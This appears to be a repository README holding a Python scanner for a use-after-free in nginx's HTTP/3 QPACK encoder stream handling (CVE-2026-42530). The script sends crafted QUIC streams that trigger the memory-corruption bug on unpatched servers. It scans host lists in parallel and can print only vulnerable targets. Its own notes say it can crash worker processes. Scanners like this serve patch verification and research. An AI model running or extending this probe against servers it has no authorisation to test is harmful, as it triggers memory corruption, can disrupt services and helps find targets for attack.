README.md
Rendering markdown...
#!/usr/bin/env python3
# Author: Valton Tahiri
# GitHub: https://github.com/v4ltonn
# Date: 2026-06-19
# Bug: CVE-2026-42530 -- nginx HTTP/3 QPACK encoder stream UAF
"""
scanner_CVE-2026-42530.py -- Public scanner for CVE-2026-42530
Detects whether a remote nginx server is running a version affected by
CVE-2026-42530 (QPACK encoder stream Use-After-Free in ngx_http_v3_module).
Affected: nginx 1.31.0, 1.31.1
Fixed: nginx 1.31.2 (2026-06-17)
CVSS 4.0: 9.2 CRITICAL
Detection technique
-------------------
RFC 9114 section 6.2 forbids a client from opening more than one QPACK
encoder stream per connection. Compliant servers (nginx 1.31.2+) MUST
close the connection with H3_STREAM_CREATION_ERROR (0x103) when a second
encoder stream is opened.
nginx 1.31.0-1.31.1 tracks the encoder stream via h3c->known_streams[index],
a raw pointer cleared to NULL when the stream closes. The probe exploits this
with two sequential encoder streams:
Stream 6 (encoder #1): type byte 0x02 + QPACK Insert-With-Name-Reference.
No prior Set-Dynamic-Table-Capacity means dt->capacity == 0, so nginx
rejects the insert with QPACK_ENCODER_STREAM_ERROR (0x201) and calls
ngx_http_v3_close_uni_stream() which sets known_streams[encoder] = NULL
and frees the stream pool. A deferred connection-close event is posted.
Stream 10 (encoder #2): identical bytes, sent shortly after.
When nginx's ACK of stream 6 arrives, aioquic transmits stream 10.
nginx receives stream 10 BEFORE the deferred close event fires.
VULNERABLE (1.31.0/1.31.1):
known_streams[encoder] == NULL (cleared by stream 6's close) ->
duplicate check passes -> second encoder accepted -> UAF pool write ->
same QPACK error -> qc->error stays 0x201.
PATCHED (1.31.2+):
h3c->created_streams bitmask (never cleared) still has the encoder bit
set -> H3_STREAM_CREATION_ERROR (0x103) overwrites qc->error before
the deferred close fires.
Observable difference:
VULNERABLE -> CONNECTION_CLOSE with 0x201 (QPACK_ENCODER_STREAM_ERROR)
PATCHED -> CONNECTION_CLOSE with 0x103 (H3_STREAM_CREATION_ERROR)
Stream allocation
-----------------
nginx sets initial_max_streams_uni = 3, so aioquic blocks any stream beyond
the third client-initiated unidirectional stream. To stay within this limit
the probe occupies:
stream 2 -- H3 control stream (SETTINGS)
stream 6 -- QPACK encoder #1 (normally the QPACK decoder slot)
stream 10 -- QPACK encoder #2 (normally the QPACK encoder slot)
No QPACK decoder stream is sent. nginx does not require one before processing
encoder stream registrations.
Safety note
-----------
The scan does NOT reliably crash an unpatched nginx worker. Without
AddressSanitizer, the UAF write on a production build usually corrupts a
pool slot benignly and results only in a connection teardown. However, on
systems with certain allocator layouts the worker CAN crash. Only scan
hosts you own or are authorised to test.
Usage
-----
pip install aioquic
# single host:
python3 scanner_CVE-2026-42530.py 127.0.0.1 8443
# multiple hosts from a file (one host:port per line):
python3 scanner_CVE-2026-42530.py --file hosts.txt
# concurrency (default 5):
python3 scanner_CVE-2026-42530.py --file hosts.txt --concurrency 10
# quiet (print only VULNERABLE results):
python3 scanner_CVE-2026-42530.py --file hosts.txt -q
"""
import argparse
import asyncio
import ssl
import struct
import sys
import time
from dataclasses import dataclass
from typing import Optional
try:
from aioquic.asyncio import connect
from aioquic.asyncio.protocol import QuicConnectionProtocol
from aioquic.h3.connection import H3_ALPN
from aioquic.quic.configuration import QuicConfiguration
from aioquic.quic.events import ConnectionTerminated, QuicEvent
from aioquic.tls import Epoch
except ImportError:
print("[!] aioquic not installed. Run: pip install aioquic")
sys.exit(1)
# ---------------------------------------------------------------------------
# Wire format helpers
# ---------------------------------------------------------------------------
def varint(n: int) -> bytes:
if n < 0x40:
return bytes([n])
elif n < 0x4000:
return struct.pack(">H", 0x4000 | n)
elif n < 0x40000000:
return struct.pack(">I", 0x80000000 | n)
else:
return struct.pack(">Q", 0xC000000000000000 | n)
def h3_frame(frame_type: int, payload: bytes) -> bytes:
return varint(frame_type) + varint(len(payload)) + payload
def h3_settings_empty() -> bytes:
return h3_frame(0x04, b"")
# Client-initiated unidirectional stream IDs (type bits = 0b10, so 4n+2):
# stream 2 -> control stream
# stream 6 -> repurposed as QPACK encoder #1 (avoids stream-limit block)
# stream 10 -> QPACK encoder #2
STREAM_CONTROL = 2
STREAM_ENCODER_1 = 6
STREAM_ENCODER_2 = 10
# QPACK Insert-With-Name-Reference targeting static table entry 0 with
# empty value. Without a prior Set-Dynamic-Table-Capacity the dynamic
# table capacity is 0; nginx rejects the insert with 0x201 (encoder
# stream error) and closes the uni-stream, clearing known_streams[encoder]
# in 1.31.1 while leaving the created_streams bitmask bit intact in 1.31.2.
QPACK_INR = bytes([0xC0, 0x00])
CONTROL_DATA = bytes([0x00]) + h3_settings_empty()
ENCODER_1_DATA = bytes([0x02]) + QPACK_INR # stream type + INR
ENCODER_2_DATA = bytes([0x02]) + QPACK_INR # stream type + INR
# H3 / QPACK error codes
H3_STREAM_CREATION_ERROR = 0x103
H3_CLOSED_CRITICAL_STREAM = 0x104
QPACK_ENCODER_STREAM_ERROR = 0x201
# ---------------------------------------------------------------------------
# Scan result
# ---------------------------------------------------------------------------
@dataclass
class ScanResult:
host: str
port: int
status: str # "VULNERABLE" | "PATCHED" | "NOT_H3" | "ERROR"
code: Optional[int]
detail: str
elapsed_s: float
# ---------------------------------------------------------------------------
# Protocol probe
# ---------------------------------------------------------------------------
class EncoderProbe(QuicConnectionProtocol):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._done = asyncio.Event()
self._code = None
self._reason = ""
def transmit(self) -> None:
# Suppress any pending QUIC ACK frame so it does not compete with
# STREAM frames for packet space. aioquic will still ACK on the
# next received datagram; this is safe for a short-lived probe.
self._quic._spaces[Epoch.ONE_RTT].ack_at = None
super().transmit()
def quic_event_received(self, event: QuicEvent) -> None:
if isinstance(event, ConnectionTerminated):
self._code = event.error_code
self._reason = str(event.reason_phrase)
self._done.set()
async def probe(self, timeout: float = 8.0) -> tuple[Optional[int], str]:
# Allow the QUIC handshake to settle.
await asyncio.sleep(0.2)
# Send H3 control stream so nginx processes our SETTINGS.
self._quic.send_stream_data(STREAM_CONTROL, CONTROL_DATA, end_stream=False)
self.transmit()
# Wait for nginx to send its own H3 setup frames (control stream,
# QPACK encoder/decoder streams). This ensures the connection is
# fully established before we provoke the duplicate-encoder check.
await asyncio.sleep(0.4)
# Send encoder #1 (QPACK error trigger) followed immediately by
# encoder #2 (duplicate-stream probe). Stream 6 (encoder #1) is
# within nginx's initial_max_streams_uni = 3 limit; aioquic
# transmits encoder #2 (stream 10) when nginx ACKs encoder #1,
# before the deferred connection-close event fires on nginx's side.
self._quic.send_stream_data(STREAM_ENCODER_1, ENCODER_1_DATA, end_stream=False)
self._quic.send_stream_data(STREAM_ENCODER_2, ENCODER_2_DATA, end_stream=False)
self.transmit()
try:
await asyncio.wait_for(self._done.wait(), timeout=timeout)
except asyncio.TimeoutError:
return None, "timeout"
return self._code, self._reason
# ---------------------------------------------------------------------------
# Single-host scan
# ---------------------------------------------------------------------------
async def scan_one(host: str, port: int, timeout: float) -> ScanResult:
t0 = time.monotonic()
cfg = QuicConfiguration(
alpn_protocols=H3_ALPN,
is_client=True,
verify_mode=ssl.CERT_NONE,
max_datagram_size=1350,
)
try:
async with connect(
host,
port,
configuration=cfg,
create_protocol=EncoderProbe,
wait_connected=False,
) as proto:
code, reason = await proto.probe(timeout=timeout)
except ConnectionRefusedError:
return ScanResult(host, port, "ERROR", None,
"connection refused (no UDP listener?)", time.monotonic() - t0)
except OSError as e:
return ScanResult(host, port, "NOT_H3", None,
f"network error: {e}", time.monotonic() - t0)
except Exception as e:
return ScanResult(host, port, "ERROR", None,
f"{type(e).__name__}: {e}", time.monotonic() - t0)
elapsed = time.monotonic() - t0
if code is None:
return ScanResult(host, port, "VULNERABLE", code,
"timeout -- second encoder accepted silently (non-ASAN build UAF)", elapsed)
if code == H3_STREAM_CREATION_ERROR:
return ScanResult(host, port, "PATCHED", code,
"0x103 H3_STREAM_CREATION_ERROR -- second encoder rejected", elapsed)
if code == H3_CLOSED_CRITICAL_STREAM:
return ScanResult(host, port, "ERROR", code,
"0x104 H3_CLOSED_CRITICAL_STREAM -- unexpected", elapsed)
if code == QPACK_ENCODER_STREAM_ERROR:
return ScanResult(host, port, "VULNERABLE", code,
"0x201 QPACK_ENCODER_STREAM_ERROR -- second encoder accepted, UAF write occurred", elapsed)
if code == 0:
return ScanResult(host, port, "VULNERABLE", code,
"code 0 -- connection dropped after UAF (possible worker crash)", elapsed)
# Any other non-0x103 close means the second encoder was not rejected.
return ScanResult(host, port, "VULNERABLE", code,
f"0x{code:x} ({reason!r}) -- second encoder accepted", elapsed)
# ---------------------------------------------------------------------------
# Formatter
# ---------------------------------------------------------------------------
def fmt_result(r: ScanResult, quiet: bool) -> Optional[str]:
target = f"{r.host}:{r.port}"
elapsed = f"{r.elapsed_s:.2f}s"
if r.status == "VULNERABLE":
return f"[VULNERABLE] {target:<30s} {elapsed} -- {r.detail}"
if quiet:
return None
if r.status == "PATCHED":
return f"[patched] {target:<30s} {elapsed} -- {r.detail}"
if r.status == "NOT_H3":
return f"[not-h3] {target:<30s} {elapsed} -- {r.detail}"
return f"[error] {target:<30s} {elapsed} -- {r.detail}"
# ---------------------------------------------------------------------------
# Batch scan with concurrency limit
# ---------------------------------------------------------------------------
async def scan_batch(
targets: list[tuple[str, int]],
concurrency: int,
timeout: float,
quiet: bool,
) -> list[ScanResult]:
sem = asyncio.Semaphore(concurrency)
async def guarded(host: str, port: int) -> ScanResult:
async with sem:
r = await scan_one(host, port, timeout)
line = fmt_result(r, quiet)
if line:
print(line, flush=True)
return r
return list(await asyncio.gather(*[guarded(h, p) for h, p in targets]))
# ---------------------------------------------------------------------------
# Entry point
# ---------------------------------------------------------------------------
def parse_targets(args: argparse.Namespace) -> list[tuple[str, int]]:
targets: list[tuple[str, int]] = []
if args.host:
targets.append((args.host, args.port))
if args.file:
try:
with open(args.file) as f:
for lineno, raw in enumerate(f, 1):
line = raw.strip()
if not line or line.startswith("#"):
continue
if ":" in line:
h, p_str = line.rsplit(":", 1)
try:
targets.append((h, int(p_str)))
except ValueError:
print(f"[!] line {lineno}: bad port {p_str!r}, skipping",
file=sys.stderr)
else:
targets.append((line, 443))
except OSError as e:
print(f"[!] cannot open {args.file}: {e}", file=sys.stderr)
sys.exit(1)
return targets
async def main() -> None:
parser = argparse.ArgumentParser(
description="CVE-2026-42530 scanner -- nginx 1.31.0-1.31.1 QPACK encoder UAF"
)
parser.add_argument("host", nargs="?", help="Single target hostname or IP")
parser.add_argument("port", nargs="?", type=int, default=443,
help="Port (default: 443, used only with positional host)")
parser.add_argument("-f", "--file", metavar="FILE",
help="File with targets, one host[:port] per line")
parser.add_argument("-c", "--concurrency", type=int, default=5,
help="Parallel probes (default: 5)")
parser.add_argument("-t", "--timeout", type=float, default=8.0,
help="Per-probe timeout in seconds (default: 8)")
parser.add_argument("-q", "--quiet", action="store_true",
help="Print only VULNERABLE results")
args = parser.parse_args()
targets = parse_targets(args)
if not targets:
parser.print_help()
sys.exit(1)
print(f"CVE-2026-42530 scanner | targets: {len(targets)} "
f"concurrency: {args.concurrency} timeout: {args.timeout}s")
print(f"Probe: H3 control(stream 2) + encoder#1(stream 6) + encoder#2(stream 10)")
print(f"PATCHED=0x103 VULNERABLE=0x201")
print()
t0 = time.monotonic()
results = await scan_batch(targets, args.concurrency, args.timeout, args.quiet)
elapsed = time.monotonic() - t0
vuln = sum(1 for r in results if r.status == "VULNERABLE")
patch = sum(1 for r in results if r.status == "PATCHED")
err = sum(1 for r in results if r.status in ("ERROR", "NOT_H3"))
print()
print(f"Done in {elapsed:.1f}s -- "
f"VULNERABLE: {vuln} patched: {patch} error/not-h3: {err}")
if __name__ == "__main__":
try:
asyncio.run(main())
except KeyboardInterrupt:
print("\n[*] Interrupted")